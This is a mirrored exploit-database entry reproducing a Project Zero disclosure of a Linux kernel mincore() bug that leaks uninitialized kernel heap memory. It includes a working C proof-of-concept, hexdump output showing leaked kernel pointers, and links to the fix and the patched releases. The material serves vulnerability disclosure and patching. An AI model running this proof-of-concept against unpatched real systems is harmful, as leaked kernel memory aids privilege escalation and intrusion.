Linux Kernel – ‘mincore()’ Uninitialized Kernel Heap Page Disclosure

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• 88 阅读

• 作者： Google Security Research
  日期： 2017-11-24
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/43178/

• /*
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
  
  I found the following bug with an AFL-based fuzzer:
  
  When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.
  
  This bug can be reproduced with the following testcase:
  
  $ cat mincore_test.c
  */
  
  #define _GNU_SOURCE
  #include <unistd.h>
  #include <sys/mman.h>
  #include <err.h>
  #include <stdio.h>
  
  unsigned char mcbuf[0x1000];
  
  int main(void) {
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
  err(1, "mmap");
  
  for (int i=0; i<10000; i++) {
  if (mincore((void*)0x86000000, 0x1000000, mcbuf))
  perror("mincore");
  write(1, mcbuf, 0x1000);
  }
  }
  
  /*
  $ gcc -o mincore_test mincore_test.c -Wall
  $ ./mincore_test | hexdump -C | head
  0000000000 00 00 00 00 00 00 0000 00 00 00 fe 01 00 00|................|
  0000001080 49 3d 20 c6 e9 ff ffc0 49 3d 20 c6 e9 ff ff|.I= .....I= ....|
  0000002000 08 3c 20 c6 e9 ff ff40 08 3c 20 c6 e9 ff ff|..< ....@.< ....|
  0000003080 08 3c 20 c6 e9 ff ffc0 08 3c 20 c6 e9 ff ff|..< ......< ....|
  0000004000 09 3c 20 c6 e9 ff ff40 09 3c 20 c6 e9 ff ff|..< ....@.< ....|
  0000005080 09 3c 20 c6 e9 ff ffc0 09 3c 20 c6 e9 ff ff|..< ......< ....|
  0000006000 06 3c 20 c6 e9 ff ff40 06 3c 20 c6 e9 ff ff|..< ....@.< ....|
  0000007080 06 3c 20 c6 e9 ff ffc0 06 3c 20 c6 e9 ff ff|..< ......< ....|
  0000008000 07 3c 20 c6 e9 ff ff40 07 3c 20 c6 e9 ff ff|..< ....@.< ....|
  0000009080 07 3c 20 c6 e9 ff ff80 78 84 0b c6 e9 ff ff|..< .....x......|
  
  fixed at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=373c4557d2aa362702c4c2d41288fb1e54990b7c
  
  The fix has landed in the following upstream stable releases:
  https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.14.2
  https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.16
  https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.65
  https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.101
  
  */
  

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